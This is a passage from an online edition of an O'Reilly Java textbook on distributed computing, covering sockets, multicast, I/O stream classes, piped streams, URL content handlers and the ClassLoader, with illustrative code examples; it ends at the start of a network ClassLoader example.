We could easily adapt this simple communication scheme to other applications with different protocols. We would just need to define new subclasses of SimpleCmd, and update our SimpleCmdInputStream to parse them correctly. If we wanted to get exotic, we could expand our communication scheme to implement a "meta-protocol" between agents in the system. The first piece of information passed between two agents when they establish a socket connection would be the protocol they want to use to communicate with each other. Using the class download capabilities mentioned in the previous section, we could actually load a subclass of java.io.InputStream over the newly created socket, create an instance of the class, and attach it to the socket itself. We won't indulge ourselves in this exotic exercise in this chapter, however.

What all of this demonstrates is that Java's network support provides a quick way to develop the communication elements of a basic distributed system. Java's other core features, such as platform-independent bytecodes, facilitate the development of more complex network transactions, such as agents dynamically building a protocol for talking to each other by exchanging class definitions. The core Java API also includes built-in support for sharing Java objects between remote agents, with its RMI package. Objects that implement the java.io.Serializable interface can be converted to byte streams and transmitted over a network connection to a remote Java process, where they can be "reconstituted" into copies of the original objects. Other packages are available for using CORBA to distribute objects within a Java distributed application. We'll discuss both methods for distributed Java objects in later chapters.

1.3.6. Security

Java provides two dimensions of security for distributed systems: a secure local runtime environment, and the ability to engage in secure remote transactions.

1.3.6.1. Runtime environment

At the same time that Java facilitates the distribution of system elements across the network, it makes it easy for the recipient of these system elements to verify that they can't compromise the security of the local environment. If Java code is run in the context of an applet, then the Java Virtual Machine places rather severe restrictions on its operation and capabilities. It's allowed virtually no access to the local file system, very restricted network access (e.g., it can only open a network connection back to the server it was loaded from), no access to local code or libraries outside of the Java environment, and restricted thread manipulation capabilities, among other things. In addition, any class definitions loaded over the network, whether from a Java applet or a Java application, are subjected to a stringent bytecode verification process, in which the syntax and operations of the bytecodes are checked for incorrect or potentially malicious behavior.

1.3.6.2. Secure remote transactions

In Section 1.3.5, "Network Support", we demonstrated how Java simplifies the creation, manipulation, and extension of network communications sockets. This capability of the environment makes it easy to add user authentication and data encryption to establish secure network links, assuming that the basic encryption and authentication algorithms already exist. Suppose, for example, that we wanted to use public key encryption to establish secure, authenticated connections to named agents on remote machines. We can extend the BufferedInputStream and BufferedOutputStream classes in java.io to authenticate and decrypt incoming data, and to sign and encrypt outgoing data. Example 1-5 displays the encrypted input stream.

Example 1-5. Encrypted Input Stream

import java.io.*;

public abstract class EncryptedInputStream extends BufferedInputStream
{
    public EncryptedInputStream(InputStream in);
        // Assumes the key ID and signature will be embedded
        // in the incoming data
    public EncryptedInputStream(InputStream in, String id);
        // Will only allow communication once identified
        // entity is authenticated with a public key

    // Protected methods
    public int decrypt(int) throws SecurityException;
    public int decrypt(byte[] b) throws SecurityException;
    public int decrypt(byte[] b, int off, int len)
        throws SecurityException;

    // Public methods
    public int read() throws IOException, SecurityException
    {
        return decrypt(super.read());
    }

    public int read(byte[] b) throws IOException, SecurityException
    {
        super.read(b);
        return decrypt(b);
    }

    public int read(byte[] b, int off, int len)
        throws IOException, SecurityException
    {
        super.read(b, off, len);
        return decrypt(b, off, len);
    }
}

Of course, the example is greatly simplified by the fact that we haven't actually implemented the EncryptedInputStream.decrypt() methods, which are at the heart of the matter, since they actually detect key IDs and signatures, look up public keys on some key list in memory or on disk, and decrypt the incoming data stream once the agent at the other end has been authenticated. We've also avoided the issues of data expansion or compression caused by encryption. When an EncryptedInputStream is asked to read n bytes of data, the intention is typically to read n decrypted bytes. Any change in data size would have to be made opaque by the decrypt() methods.

Once we establish an encrypted communications stream with the remote agent, we can layer any kind of data protocol we like on top of it. For example, our simple GET/HEAD/POST messaging scheme from an earlier example could be carried out securely by simply putting an encrypted input/output stream pair underneath:

public SecureClientServer
{
    public SecureClientServer(String host, int port)
        throws SecurityException
    {
        Socket comm = new Socket(host, port);
        InputStream rawIn = comm.getInputStream();
        EncryptedInputStream secureIn =
            new EncryptedInputStream(rawIn);
        SimpleMessageInputStream msgIn =
            new SimpleMessageInputStream(secureIn);

        // Start reading and processing commands from the
        // (now encrypted) input stream
        while (true)
        {
            try {
                SimpleCmd cmd = msgIn.readCommand();
                cmd.Do();
            }
            catch (IOException e) {}
    // Remainder of class implementation omitted
    ...
}

Of course, this assumes that the agent at the other end of the socket has been suitably augmented to encrypt and decrypt streams.

These examples have simply alluded to how the basic network capabilities of Java could be extended to support secure network communications. The java.se-curity package provides a framework for implementing the authentication and encryption algorithms needed to complete our secure input stream example. The authentication process could be implemented using the KeyPair and Signature classes, for example. We'll discuss the java.security API in more detail in a later chapter.

1.3.7. Multithreading Support

The ability to generate multithreaded agents is a fundamental feature of Java. Any class that you create can extend the java.lang.Thread class by providing its own implementation of a run() method. When the thread is started, this run() method will be called and your class can do its work within a separate thread of control. This is one way to delegate tasks to threads in a given agent; another is to have your workhorse classes derive from java.lang.Runnable, and allocate them as needed to threads or thread groups. Any class implementing the Runnable interface (which essentially means providing a run() method that represents the body of work to be done in the thread) can be wrapped with a thread by simply creating a new Thread with the Runnable object as the argument.

Java also lets you tweak the performance of a given agent through control and manipulation of its threads. Threads are assigned priorities that are publicly pollable and settable, giving you (or even some intelligent agent) the ability to suggest how processing time is allocated to threads by the Virtual Machine. Threads can also be made to yield to other threads, to sleep for some period of time, to suspend indefinitely, or to go away altogether. These kinds of operations become important, for example, in asynchronous systems, in which a thread is tasked with client polling and spawns new threads to service client requests.

Previous | Home | Next
1.2. Requirements for Developing Distributed Applications | Book Index | 2. Networking in Java
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Networking in Java (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 2. Networking in Java

Contents:

Sockets and Streams
URLs, URLConnections, and ContentHandlers
The ClassLoader

We saw in Chapter 1, "Introduction" how the socket and stream classes in the java.net and java.io packages could be used to do basic networking between agents. In this chapter we take a more detailed look at the networking support in Java, as the foundation for distributed systems. The topics we'll cover include:

  • Sockets for low-level network connections

  • Streams for formatted data and messaging protocols

  • URL, URLConnection, and ContentHandler classes

  • The ClassLoader as an object distribution scheme

We'll look at these topics in increasing pecking order from the networking perspective. Sockets first, since they are the most primitive communication object in the Java API; then streams, which let you impose some order on the data flowing over these sockets; next, the classes associated with the HTTP protocol, namely, the URL, URLConnection, and ContentHandler classes; finally, the ClassLoader, which, when coupled with the others, offers the ability to transmit actual Java classes over the wire.

2.1. Sockets and Streams

The java.net package provides an object-oriented framework for the creation and use of Internet Protocol (IP)[1] sockets. In this section, we'll take a look at these classes and what they offer.

[1]The Internet Protocol is the predominant networking protocol today, being the protocol in use on the Internet and on most corporate WANs and LANs.

2.1.1. IP Addressing

Before communicating with another party, you must first know how to address your messages so they can be delivered correctly. Notice that I didn't say that you need to know where the other party is located--once a scheme for encoding a location is established, I simply need to know my party's encoded address to communicate. On IP networks, the addressing scheme in use is based on hosts and port numbers.

A given host computer on an IP network has a hostname and a numeric address. Either of these, in their fully qualified forms, is a unique identifier for a host on the network. The JavaSoft home page, for example, resides on a host named www.javasoft.com, which currently has the IP address 204.160.241.98. Either of these addresses can be used to locate the machine on an IP network. The textual name for the machine is called its Domain Name Services (DNS) name, which can be thought of as a kind of alias for the numeric IP address.

In the Java API, the InetAddress class represents an IP address. You can query an InetAddress for the name of the host using its getHostName() method, and for its numeric address using getAddress() . Notice that, even though we can uniquely specify a host with its IP address, we do not necessarily know its physical location. I look at the web pages on www.javasoft.com regularly, but I don't know where the machine is (though I could guess that it's in California somewhere). Conversely, even if I knew where the machine was physically, it wouldn't do me a bit of good if I didn't know its IP address (unless someone was kind enough to label the machine with it, or left a terminal window open on the server's console for me to get its IP address directly).

Now, you typically don't want to communicate with a given host, but rather with one or many agent processes running on the host. To engage in network communications, each process must associate itself with a port on the host, identified by a number. HTTP servers, for example, typically attach themselves to port 80 on their host machine. When you ask to connect to http://www.javasoft.com/ from your web browser, the browser automatically assumes the default port and attempts to connect to the process running on www.javasoft.com listening to port 80. If this process is an HTTP server process that understands the commands that the browser is sending, the browser and the server will commence communications.

This host/port scheme is the basis of the IP addressing protocol, and is supported directly in the Java API. All network connections are specified using an Inet-Address and a port number. The Java environment does the hard work of initiating the IP protocol communications and creating Java objects that represent these network connections.

2.1.2. Your Basic Socket

At the core of Java's networking support are the Socket and DatagramSocket classes in java.net. These classes define channels for communication between processes over an IP network. A new socket is created by specifying a host, either by name or with an InetAddress object, and a port number on the host. There are two basic flavors of network sockets on IP networks: those that use the Transmission Control Protocol (TCP) and those that use the User Datagram Protocol (UDP). TCP is a reliable protocol in which data packets are guaranteed to be delivered, and delivered in order. If a packet expected at the receiving end of a TCP socket doesn't arrive in a set period of time, then it is assumed lost, and the packet is requested from the sender again. The receiver doesn't move on to the next packet until the first is received. UDP, on the other hand, makes no guarantees about delivery of packets, or the order in which packets are delivered. The sender transmits a UDP packet, and it either makes it to the receiver or it doesn't. TCP sockets are used in the large majority of IP applications. UDP sockets are typically used in bandwidth-limited applications, where the overhead associated with resending packets is not tolerable. A good example of this is real-time network audio applications. If you are delivering packets of audio information over the network to be played in real-time, then there is no point in resending a late packet. By the time it gets delivered it will be useless, since the audio track must play continuously and sequentially, without backtracking.

The Socket class is used for creating TCP connections over an IP network. A Socket is typically created using an InetAddress to specify the remote host, and a port number to which the host can connect. A process on the remote host must be listening on that port number for incoming connection requests. In Java, this can be done using a ServerSocket:

// Listen to port 5000 on the local host for socket connection requests
ServerSocket s = new ServerSocket(5000);
while (true) {
    // Wait for a connection request from a client
    Socket clientConn = s.accept();
    InputStream in = clientConn.getInputStream();
    OutputStream out = clientConn.getOutputStream();
    // Now we have input and output streams connected to our client, do
    // something with them...

On client side, the code simply creates a socket to the remote host on the specified port (5000, in this case):

// Create the socket
InetAddress addr = InetAddress.getByName("our.remote.host");
Socket s = new Socket(addr, 5000);
InputStream in = s.getInputStream();
OutputStream out = s.getOutputStream();
// We've got input/output streams to the remote process,
// now do something with them...

UDP socket connections are created and used through the DatagramSocket and DatagramPacket classes. A DatagramSocket sends and receives data using UDP packets, represented as DatagramPacket objects. Before two agents can talk to each other over a UDP connection, they both have to have a DatagramSocket connected to a port on their local machines. This is done by simply creating a DatagramSocket object:

DatagramSocket udpSocket = new DatagramSocket(5000);

In this example we are connecting a UDP socket to a specific port (5000) on the local host. If we don't particularly care which port is used, then we can construct the DatagramSocket without specifying the port. An unused port on the local host will be used, and we can find out which one by asking the new socket for its port number:

DatagramSocket udpSocket = new DatagramSocket();
int portNo = udpSocket.getLocalPort();

In order for two agents to send data to each other over a UDP socket, they must know the host name and port number of each other's socket connection. So they will either have preordained ports for each other and will create DatagramSockets using these port numbers, or they will create a socket on a random local port and transmit their port numbers to each other over another connection.

Data is sent over a DatagramSocket using DatagramPacket objects. Each DatagramPacket contains a data buffer, the address of the remote host to send the data to, and the port number the remote agent is listening to. So to send a buffer of data to a process listening to port 5000 on host my.host.com, we would do something like this:

byte[] dataBuf = {'h', 'i', ' ', 't', 'h', 'e', 'r', 'e'};
InetAddress addr = InetAddress.getByName("my.host.com");
DatagramPacket p =
    new DatagramPacket(dataBuf, dataBuf.length, addr, 5000);
udpSocket.send(p);

The remote process can receive the data in the form of a DatagramPacket by calling the receive() method on its DatagramSocket. The received DatagramPacket will have the host address and port of the sender filled in as a side-effect of the call.

Note that in all of the examples, we would have to catch the appropriate exceptions and handle them. Sending a DatagramPacket, for example, can generate an IOException if the network transmission fails for some reason. A robust networked program will catch this exception and behave appropriately, perhaps by resending the packet if the application warrants, or perhaps by simply noting the lost packet and continuing.

2.1.3. Multicast Sockets

There is a subset of the IP protocol that supports multicasting . Multicasting can be thought of as broadcasting data over a network connection to many connected agents, as opposed to unicasting packets between two agents on a normal connection. Multicasting is done using UDP packets that are broadcast out on a multicast IP address. Any agent "listening in" to that IP address will receive the data packets that are broadcast. The analogy to radio and television broadcasting is no accident--the very first practical uses of multicast IP were for broadcasting audio and video over the Internet from special events.[2]

[2]For more information on the history of the multicast backbone (MBONE) and its current state, visit http://www.mbone.com/.

Java supports multicast IP through the java.net.MulticastSocket class, which is an extension of the DatagramSocket class. Joining a multicast group is done almost the same way that you would establish a UDP connection between two agents. Each agent that wants to listen on the multicast address creates a MulticastSocket and then joins the multicast session by calling the joinGroup() method on the MulticastSocket:

MulticastSocket ms = new MulticastSocket();
InetAddress sessAddr = InetAddress.getByName("224.2.76.24");
ms.joinGroup(sessAddr);

Once the connection to the multicast session is established, the agent can read data being broadcast on the multicast "channel":

byte[] audioBuf = new byte[1024];
DatagramPacket dp = new DatagramPacket(audioBuf, 1024);
ms.receive(dp);
// Play the data on a fictitious audio device
myAudioDevice.play(dp.getData());

Data can also be sent out on the multicast channel to all the other listening agents using the send() method on the MulticastSocket.

Once the broadcast is over, or we simply want to stop listening, we can disconnect from the session using the leaveGroup() method:

ms.leaveGroup(sessAddr);

Multicasting is useful when we want to connect many agents together on a common communication channel. Shared audio and video channels are the most obvious uses, but multicasting can also be applied in collaborative tools like shared whiteboards, or between application servers performing synchronization tasks, like load balancing. However, since multicast IP is based on UDP, you have to be willing to accept the possibility of losing some data along the way, and dealing with it gracefully. Also, since clients can join a multicast session asynchronously, they have to be ready to synchronize themselves with the current state of the multicast session when they join.

2.1.4. Streams, Readers, and Writers for Input and Output

Once we make a connection between two processes over the network, we need a simple, easy way to send and receive data in different formats over the connection. Java provides this through the stream classes in the java.io package. Included in the java.io package are the InputStream and OutputStream classes and their subclasses for byte-based I/O, and the Reader and Writer classes and their subclasses for character-based I/O. The InputStream and OutputStream classes handle data as bytes, with basic methods for reading and writing bytes and byte arrays. Their subclasses can connect to various sources and destinations (files, string buffers), and provide methods for directly sending and receiving basic Java data types, like floating-point values. The Reader and Writer classes transmit data in the form of 16-bit Unicode characters, which provides a platform-independent way to send and receive textual data. Like the InputStream and OutputStream subclasses, the subclasses of Reader and Writer specialize in terms of their source and destination types.

A Socket, once it's created, can be queried for its input/output streams using getInputStream() and getOutputStream(). These methods return in-stances of InputStream and OutputStream, respectively. If you need to exchange mostly character-based data between two agents in your distributed system, then you can wrap the InputStream with an InputStreamReader(a subclass of Reader), or the OutputStream with an OutputStreamWriter (a subclass of Writer).

Another way to create an interprocess communication link is to use the java.lang.Runtime interface to execute a process, then obtain the input and output streams from the returned Process object, as shown in Example 2-1. You would do this if you had a local subtask that needed to run in a separate process, but with which you still needed to exchange messages.

Example 2-1. Interprocess I/O Using Runtime-Executed Processes

Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/ls /tmp");
InputStream in = p.getInputStream();
OutputStream out = p.getOutputStream();

From the abstract I/O classes, the java.io package offers several specializations which vary the format of the data transmitted over the stream, as well as the type of data source/receiver at the ends of the stream. The InputStream, OutputStream, Reader, and Writer classes provide basic interfaces for data I/O (read() and write() methods that just transfer bytes, byte arrays, characters and character arrays). To define data types and communication protocols on top of these base classes, Java offers the FilterInputStream and FilterOutputStream classes for byte-oriented I/O, and the FilterReader and FilterWriter for character-based I/O. Subclasses of these offer a higher level of control and structure to the data transfers. A BufferedInputStream or BufferedReader uses a memory buffer for efficient reading of data. The overhead associated with data read requests is minimized by performing large data reads into a buffer, and offering data to the caller from the local buffer until it's been exhausted. This feature can be used to minimize the latency associated with slow source devices and communication media. The BufferedOutputStream or BufferedWriter performs the same service on outgoing data. A PushbackInputStream or PushbackReader provides a buffer for pushing back data onto the incoming data stream. This is useful in parsing applications, where the next branch in the parse tree is determined by peeking at the next few bytes or characters in the stream, and then letting the subparser operate on the data. The other interesting subclasses of FilterInputStream and FilterOutputStream are the DataInputStream and DataOutputStream classes. These classes read and write Java data primitives in a portable binary format. There aren't similar subclasses of FilterReader and FilterWriter, since Readers and Writers only transfer character data, and the serialized form of Java data types are represented in bytes.

Besides being useful in their own right for manipulating and formatting input/output data streams, the subclasses of FilterInputStream, FilterOutputStream, FilterReader, and FilterWriter are also well suited for further specialization to define application-specific data stream protocols. Each of the stream classes offers a constructor method, which accepts an InputStream or OutputStream as an argument. Likewise, the FilterReader class has a constructor that accepts a Reader, and FilterWriter has a constructor that accepts a Writer object. In each case, the constructor argument is taken as the source or sink of the stream that is to be filtered, which enables the construction of stream filter "pipelines." So defining a special-purpose data protocol is simply a matter of subclassing from an appropriate I/O class, and wrapping an existing data source or sink with the new filter.

For example, if we wanted to read an XDR-formatted[3] data stream, we could write a subclass of FilterInputStream that would offer the same methods to read Java primitive data types as DataInputStream, but would be implemented to parse the XDR format, rather than the portable binary format of the DataInputStream. Example 2-2 shows a skeleton for the input version of this kind of stream; Example 2-2 shows a sample application using the stream. The application first connects to a host and port, where presumably another process is waiting to accept this connection. The remote process uses XDR-formatted data to communicate, so we wrap the input stream from the socket connection with our XDRInputStream and begin reading data.

[3]XDR is the binary format underlying Remote Procedure Call (RPC) data connections.

Example 2-2. An InputStream Subclass for Reading XDR-Formatted Data

package dcj.examples;

import java.io.*;
import java.net.*;

class XDRInputStream extends FilterInputStream {
  public XDRInputStream(InputStream in) {
    super(in);
  }

  // Overridden methods from FilterInputStream, implemented
  // to read XDR-formatted data

  public boolean readBoolean() throws IOException;
  public byte    readByte() throws IOException;
  public int     readUnsignedByte() thows IOException;
  public float   readFloat() thows IOException;
  // Other readXXX() methods omitted in this example...

  // We'll assume this stream doesn't support mark/reset operations

  public boolean markSupported() { return false; }
}

Example 2-3. Example XDRInputStream Client

import dcj.examples.XDRInputStream;
import java.io.*;

class XDRInputExample
{
  public static void main(String argv[])
    {
      String host = argv[0];

      // Default port is 5001
      int port = 5001;

      try
        {
          port = Integer.parseInt(argv[1]);
        }
      catch (NumberFormatException e)
        {
          System.out.println("Bad port number given, using default "
                             + port);
        }

      // Try connecting to specified host and port
      Socket serverConn = null;
      try { serverConn = new Socket(host, port); }
      catch (UnknownHostException e)
        {
          System.out.println("Bad host name given.");
          System.exit(1);
        }

      // Wrap an XDR stream around the input stream
      XDRInputStream xin = new XDRInputStream(serverConn.getInputStream());

      // Start reading expected data from XDR-formatted stream
      int numVals = xin.readInt();
      float val1 = xin.readFloat();
      ...
    }
}

The classes in the java.io package also offer the ability to specialize the sources and destinations of data. Table 2-1 summarizes the various stream, writer, and reader classes in java.io, and the types of sources and destinations that they can access. The purpose and use of the file, byte-array, and string classes are fairly obvious, and we won't spend any time going into detail about them here, since we'll see them being used in some of the examples later in the book. The stream classes that allow communication between threads deserve some explanation, though.

Table 2-1. Source and Destination Types Supported by java.io

Source/Destination Type

Input/OutputStream

Class

Reader/Writer

Class

Remote or local process

InputStream
OutputStream

(created from Socket or

from Process)

InputStreamReader
OutputStreamWriter

(wrappers around

InputStream or

OutputStream objects)

Disk files

FileInputStream
FileOutputStream

FileReader
FileWriter

In-memory data buffers

ByteArrayInputStream
ByteArrayOutputStream

CharArrayReader
CharArrayWriter

In-memory string buffers

StringBufferInputStream

(input only)

(deprecated in JDK 1.1, use StringReader instead)

StringReader
StringWriter

Threads within same process

PipedInputStream
PipedOutputStream

PipedReader
PipedWriter

The PipedInputStream and PipedOutputStream classes access data from each other. That is, a PipedInputStream reads data from a PipedOutputStream, and a PipedOutputStream writes data to a PipedInputStream. This class design allows the developer to establish data pipes between threads in the same process. Example 2-4 and Example 2-5 show client and server classes that use piped streams to transfer information, and Example 2-6 shows an application of these classes.

Example 2-4. A Piped Client

package dcj.examples;

import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.*;

public class PipedClient extends Thread
{
  PipedInputStream pin;
  PipedOutputStream pout;

  public PipedClient(PipedInputStream in, PipedOutputStream out)
  {
    pin = in;
    pout = out;
  }

  public void run()
  {
    // Wrap a data stream around the input and output streams
    DataInputStream din = new DataInputStream(pin);
    DataOutputStream dout = new DataOutputStream(pout);

    // Say hello to the server...
    try
      {
        System.out.println("PipedClient: Writing greeting to server...");
        dout.writeChars("hello from PipedClient\n");
      }
    catch (IOException e)
      {
        System.out.println("PipedClient: Couldn't get response.");
        System.exit(1);
      }

    // See if it says hello back...
    try
      {
        System.out.println("PipedClient: Reading response from server...");
        String response = din.readLine();
        System.out.println("PipedClient: Server said: \""
                           + response + "\"");
      }
    catch (IOException e)
      {
        System.out.println("PipedClient: Failed to connect to peer.");
      }

    stop();
  }
}

The example shows two threads, a client and a server, talking to each other over piped streams. The PipedClient class accepts a PipedInputStream and PipedOutputStream as constructor arguments; the PipedServer class does the same. Both are extensions of the Thread class. The client attempts to send a "hello" message to the server over its output stream, then listens for a response on its input stream. The server listens for the "hello" from the client on its input stream, then sends a response back on its output stream. The PipedStreamExample class sets up the stream connections for the threads by creating two pairs of piped streams. It then creates a PipedClient and a PipedServer, sends each the input stream from one pair and the output stream from the other, and tells each of them to start their threads. The important feature of this example is that the piped streams are connected to each other within the same process, and are not connected to any remote hosts.

Example 2-5. A Piped Server

package dcj.examples;

import java.lang.*;
import java.net.*;
import java.io.*;

public class PipedServer extends Thread
{
  PipedInputStream pin;
  PipedOutputStream pout;

  public PipedServer(PipedInputStream in, PipedOutputStream out)
  {
    pin = in;
    pout = out;
  }

  public void run()
  {
    // Wrap a data stream around the input and output streams
    DataInputStream din = new DataInputStream(pin);
    DataOutputStream dout = new DataOutputStream(pout);

    // Wait for the client to say hello...
    try
      {
        System.out.println("PipedServer: Reading from client...");
        String clientHello = din.readLine();
        System.out.println("PipedServer: Client said: \""
                           + clientHello + "\"");
      }
    catch (IOException e)
      {
        System.out.println("PipedServer: Couldn't get hello from client.");
        stop();
      }

    // ...and say hello back.
    try
      {
        System.out.println("PipedServer: Writing response to client...");
        dout.writeChars("hello I am the server.\n");
      }
    catch (IOException e)
      {
        System.out.println("PipedServer: Failed to connect to client.");
      }
    stop();
  }
}

Example 2-6. Piped Stream Application

package dcj.examples;

import java.net.*;
import java.io.*;
import java.lang.*;

import dcj.examples.PipedClient;
import dcj.examples.PipedServer;

class PipedStreamExample {
  public static void main(String argv[]) {
    // Make two pairs of connected piped streams
    PipedInputStream pinc = null;
    PipedInputStream pins = null;
    PipedOutputStream poutc = null;
    PipedOutputStream pouts = null;

    try {
      pinc = new PipedInputStream();
      pins = new PipedInputStream();
      poutc = new PipedOutputStream(pins);
      pouts = new PipedOutputStream(pinc);
    }
    catch (IOException e) {
      System.out.println(
        "PipedStreamExample: Failed to build piped streams.");
      System.exit(1);
    }

    // Make the client and server threads, connected by the streams
    PipedClient pc = new PipedClient(pinc, poutc);
    PipedServer ps = new PipedServer(pins, pouts);

    // Start the threads
    System.out.println("Starting server...");
    ps.start();
    System.out.println("Starting client...");
    pc.start();

    // Wait for threads to end
    try {
      ps.join();
      pc.join();
    }
    catch (InterruptedException e) {}

    System.exit(0);
  }
}

Note that a similar scenario could be set up using the PipedReader and PipedWriter classes, if you knew the two threads were going to exchange character arrays.

Previous | Home | Next
1.3. What Does Java Provide? | Book Index | 2.2. URLs, URLConnections, and ContentHandlers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


URLs, URLConnections, and ContentHandlers (Java Distributed Computing)

 Java Distributed Computing Search this book

2.2. URLs, URLConnections, and ContentHandlers

The java.net package, in addition to object-oriented representations of IP sockets, also provides objects that support the HTTP protocol for accessing data in the form of addressable documents. HTTP is really an extension of the underlying IP protocol we discussed earlier, designed specifically to provide a way to address different kinds of documents, or pieces of data, distributed on the network. In the rest of this book, we'll see numerous examples of distributed applications whose agents use customized or standard communications protocols to talk to each other. If there is an HTTP server "agent" available on one of the hosts in our distributed application, then we can use the classes discussed in this section to ask it for data documents using the standard HTTP protocol.

To address a specific document or data object, we use a Uniform Resource Locator (URL), which includes four address elements: the protocol, host, port, and document. The Java representation for a URL is the URL class, which is constructed with a given protocol, host, port, and document filename. Once the URL object is constructed, it allows the user to make the necessary requests to connect to the HTTP server of the data object, query for information about the object, and download the object. The content of the object can be accessed using the getContent(), openConnection(), or openStream() methods on the URL object. Of these three methods, openStream() is simplest. The openStream() method returns an InputStream that can be used to read the data contents directly.

When you call openConnection() on a URL object, you get a URLConnection in return. You can use the URLConnection to query the data connection's header information for the data object's length, the type of data it contains, the data encoding, etc. You can also control aspects of the data connection that determine when the data object can be pulled from a local cache, whether input or output is to be done over the data connection, and when unmodified data should be read from the server.

The getContent() method downloads the data object and returns an Object containing the data. Using this method relies upon having a content handler that supports the object's data format and is capable of converting it into a Java object. The java.net package allows you to extend the available content handlers using the ContentHandler and ContentHandlerFactory classes. A ContentHandler accepts a URLConnection, reads the data from the associated data object, and constructs an appropriate Object instance to represent the data object in the Java environment. It is the job of the system-wide ContentHandlerFactory to associate the proper ContentHandler with each data object referenced by a URL. When getContent() is called on a URL or URLConnection object, the ContentHandlerFactory is queried for a ContentHandler that can read the format of the data at the other end of the connection. The ContentHandlerFactory checks the MIME type and encoding of the data object, and returns a ContentHandler for that MIME type. The ContentHandler that's returned is then asked for an Object representing the data by calling its getContent() method with the URLConnection. Typically, the ContentHandler reads the raw data from the URLConnection's InputStream, formats the data into an appropriate object representation, and returns the object to the caller.

Suppose we want to connect to an HTTP server containing computational fluid dynamics (CFD) data files stored in a proprietary format. Suppose these data files have a ".cfd" suffix, and we decide to reserve the MIME type "application/cfd" for these data files. Now, assuming that the HTTP server has been properly configured to export this MIME type in the content headers its transmits, we can use Java's HTTP support to access these data files from our application by creating our own ContentHandler subclass that is capable of reading the data stream and converting it to an appropriate Java object. Example 2-7 shows a CFDContentHandler that does just this. Its getContent() method creates a CFDDataSet object from the data read from the input stream of the URLConnection argument. It assumes that the incoming data is of the expected type and format for the CFDDataSet;a more robust implementation would check the MIME type of the URLConnection and warn the user if the type doesn't match.

Example 2-7. A ContentHandler for CFD File

import java.net.*;
import dcj.examples.Networking.CFDDataSet;

public class CFDContentHandler extends ContentHandler {
  public Object getContent(URLConnection u) {
    CFDDataSet d = new CFDDataSet();
    try {
      InputStream in = u.getInputStream();
      byte[] buffer = new byte[1024];
      while (in.read(buffer) > 0) {
        d.addData(buffer);
      }
    }
    catch (Exception e) {
      e.printStackTrace();
    }

    return d;
  }
}

To use our CFDContentHandler to read CFD files, we still need to register a new ContentHandlerFactory that knows about the CFDContentHandler. The CFDContentHandlerFactory in Example 2-8 creates CFDContent-Handlers for the application/cfd MIME type. It ignores any other MIME types, but we could also implement it with a reference to a default ContentHandlerFactory that can handle other MIME types.

Example 2-8. A Specialized ContentHandlerFactory for CFD Data Files

package dcj.examples.Networking;

import java.net.*;

public class CFDContentHandlerFactory
    implements ContentHandlerFactory {
  public ContentHandler createContentHandler(String mimetype) {
    if (mimetype.compareTo("application/cfd") == 0) {
      return new CFDContentHandler();
    }
    else
      return null;
  }
}

Finally, our application can read CFD data files from an HTTP server by first registering the specialized ContentHandlerFactory, and then requesting a CFD file from the HTTP server on which it lives:

URLConnection.setContentHandlerFactory(new CFDContentHandlerFactory());
URL cfdURL = new URL("http://my.data.server/datasets/bigset.cfd");
CFDDataSet data = (CFDDataSet)cfdURL.getContent();

2.2.1. When and Where Are URLs Practical?

As we've seen in earlier sections of this chapter, we can transmit data around a distributed system using sockets and streams. This method has the advantage of being efficient, since we are using basic IP sockets with minimal protocol overhead getting between us and our data. The downside is that it is our responsibility to know the type and format of the data we're transmitting and receiving. The communication protocol must be mutually agreed upon by all participating computing agents, or we have to establish our own means for communicating metadata about the kind of information with which we are dealing.

Java's HTTP support classes, on the other hand, provide a standard means for serving and accessing data objects, and for easily identifying the type and format of these objects. To make a piece of data available from a URL, we need to install it in the content section of an HTTP server, and configure the server to transmit the appropriate MIME type when the data is accessed. On the receiving end, we simply need to use the data object's URL to access the document, ask the corresponding URLConnection for the type and encoding of the data, and respond accordingly. The downside is that HTTP imposes plenty of protocol overhead on the data stream, which reduces our net data bandwidth between computing agents. Our data is now sharing space in network packets with IP protocol and HTTP protocol. Another downside is the relatively basic and simplistic resource naming facility that HTTP provides, compared to formal directory naming services like NIS and LDAP. The simple conclusion is that, for distributed applications that are severely bandwidth-limited, or that need to support complicated resource hierarchies, using the HTTP protocol to access data is probably not the appropriate method. On the other hand, if you have the luxury of some extra communications bandwidth, and the CPU time to use it, and your resource groupings are relatively simple, then using URLs to access data is a possibility you should consider.

Previous | Home | Next
2.1. Sockets and Streams | Book Index | 2.3. The ClassLoader
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The ClassLoader (Java Distributed Computing)

 Java Distributed Computing Search this book

2.3. The ClassLoader

The Java runtime environment is based upon a virtual machine that interprets, verifies, and executes classes in the form of platform-independent bytecodes. In addition, the Java API includes a mechanism for you to load class definitions in their bytecode form, and integrate them into the runtime environment so that instances of the classes can be constructed and used. When your Java files are compiled, a similar mechanism is invoked whenever an import statement is encountered. The referenced class or package of classes is loaded from files in bytecode format, using the CLASSPATH environment variable to locate them on the local file system.

In addition to this default policy for loading classes, the java.lang.ClassLoader class allows the user to define custom policies and mechanisms for locating and loading classes into the runtime environment. The ClassLoader is an abstract class. Subclasses must define an implementation for the loadClass() method, which is responsible for locating the class based upon the given string name, loading the bytecodes comprising the class definition, and (optionally) resolving the class. A class has to be resolved before it can be constructed or before any of its methods can be called. Resolving a class includes finding all of the other classes that it depends on, and loading them into the runtime as well.

The ClassLoader is an important element of the network support in the Java API. It's used as the basis for supporting Java applets in most Java-enabled web browsers, for example. When an HTML page includes an APPLET tag that references a Java class on the HTTP server, a ClassLoader instance within the browser's Java runtime is used to load the bytecodes of the class into the virtual machine, create an instance of the class, and then execute methods on the new object. Note that this is different from the concept of distributing objects using RMI or CORBA. Rather than creating an object on one host and allowing a process on a remote host to call methods on that object, the ClassLoader lets an agent read the bytecodes making up a class definition, and then create an object within its own process. In the rest of this section we'll look at how we can directly use the ClassLoader interface to distribute classes in a network environment.

2.3.1. Loading Classes from the Network

Now, in looking at the overall object model defined by the Java API, we can think of the java.lang.ClassLoader class as an abstract interface for the loading of classes into the runtime environment, and the java.io.InputStream class as the basis for loading data into the runtime environment from different sources and in different formats. An obvious next step would seem to be to put them together, and form the basis for loading classes from all of the sources accessible from subclasses of InputStream. So that's just what we've done, and the result is the StreamClassLoader shown in Example 2-9.

Example 2-9. A Network ClassLoader

package dcj.util;

import java.lang.*;
import java.net.*;
